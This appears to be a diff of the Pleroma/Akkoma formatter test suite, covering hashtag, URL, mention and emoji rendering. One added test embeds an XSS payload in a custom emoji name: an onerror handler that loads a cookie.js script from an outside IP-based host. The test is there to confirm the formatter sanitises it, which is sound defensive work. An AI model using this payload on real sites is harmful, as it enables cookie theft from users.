+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
defmodule Pleroma.FormatterTest do
alias Pleroma.Formatter
+ alias Pleroma.User
use Pleroma.DataCase
import Pleroma.Factory
+ setup_all do
+ Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
describe ".add_hashtag_links" do
test "turns hashtags into links" do
text = "I love #cofe and #2hu"
expected_text =
- "I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
+ "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
+
+ tags = Formatter.parse_tags(text)
+
+ assert expected_text ==
+ Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
+ end
+
+ test "does not turn html characters to tags" do
+ text = "Fact #3: pleroma does what mastodon't"
+
+ expected_text =
+ "Fact <a data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
tags = Formatter.parse_tags(text)
describe ".add_links" do
test "turning urls into links" do
- text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla."
+ text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
expected =
- "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a>."
+ "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
expected =
- "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
+ "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
- "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
+ "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
+
+ assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
+
+ text = "https://pleroma.com https://pleroma.com/sucks"
+
+ expected =
+ "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
+
+ assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
+
+ text = "xmpp:contact@hacktivis.me"
+
+ expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
+
+ assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
+
+ text =
+ "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
+
+ expected = "<a href=\"#{text}\">#{text}</a>"
assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
end
describe "add_user_links" do
test "gives a replacement for user links" do
- text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
+ text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme =
insert(:user, %{
- nickname: "archaeme",
- info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}}
+ nickname: "archa_eme_",
+ info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
expected_text =
- "<span><a href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a href='#{
- "https://archeme/@archaeme"
- }'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a href='#{
- archaeme_remote.ap_id
- }'>@<span>archaeme</span></a></span>"
+ "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
+ archaeme.id
+ }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
+ archaeme_remote.id
+ }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
+
+ assert expected_text == Formatter.finalize({subs, text})
+ end
+
+ test "gives a replacement for user links when the user is using Osada" do
+ mike = User.get_or_fetch("mike@osada.macgirvin.com")
+
+ text = "@mike@osada.macgirvin.com test"
+
+ mentions = Formatter.parse_mentions(text)
+
+ {subs, text} = Formatter.add_user_links({[], text}, mentions)
+
+ assert length(subs) == 1
+ Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
+
+ expected_text =
+ "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
+
+ assert expected_text == Formatter.finalize({subs, text})
+ end
+
+ test "gives a replacement for single-character local nicknames" do
+ text = "@o hi"
+ o = insert(:user, %{nickname: "o"})
+
+ mentions = Formatter.parse_mentions(text)
+
+ {subs, text} = Formatter.add_user_links({[], text}, mentions)
+
+ assert length(subs) == 1
+ Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
+
+ expected_text =
+ "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
assert expected_text == Formatter.finalize({subs, text})
end
+
+ test "does not give a replacement for single-character local nicknames who don't exist" do
+ text = "@a hi"
+
+ mentions = Formatter.parse_mentions(text)
+
+ {subs, text} = Formatter.add_user_links({[], text}, mentions)
+
+ assert length(subs) == 0
+ Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
+
+ expected_text = "@a hi"
+ assert expected_text == Formatter.finalize({subs, text})
+ end
end
describe ".parse_tags" do
end
test "it can parse mentions and return the relevant users" do
- text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
+ text =
+ "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+ o = insert(:user, %{nickname: "o"})
+ jimm = insert(:user, %{nickname: "jimm"})
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme = insert(:user, %{nickname: "archaeme"})
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
expected_result = [
{"@gsimg", gsimg},
{"@archaeme", archaeme},
- {"@archaeme@archae.me", archaeme_remote}
+ {"@archaeme@archae.me", archaeme_remote},
+ {"@o", o},
+ {"@jimm", jimm}
]
assert Formatter.parse_mentions(text) == expected_result
text = "I love :moominmamma:"
expected_result =
- "I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />"
+ "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
assert Formatter.emojify(text) == expected_result
end
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
+
test "it returns the emoji used in the text" do
text = "I love :moominmamma:"
assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
+
+ describe "/mentions_escape" do
+ test "it returns text with escaped mention names" do
+ text = """
+ @a_breakin_glass@cybre.space
+ (also, little voice inside my head thinking "maybe this will encourage people
+ pronouncing it properly instead of saying _raKEWdo_ ")
+ """
+
+ escape_text = """
+ @a\\_breakin\\_glass@cybre\\.space
+ (also, little voice inside my head thinking \"maybe this will encourage people
+ pronouncing it properly instead of saying _raKEWdo_ \")
+ """
+
+ mentions = [{"@a_breakin_glass@cybre.space", %{}}]
+ assert Formatter.mentions_escape(text, mentions) == escape_text
+ end
+ end
end
projects / akkoma / blobdiff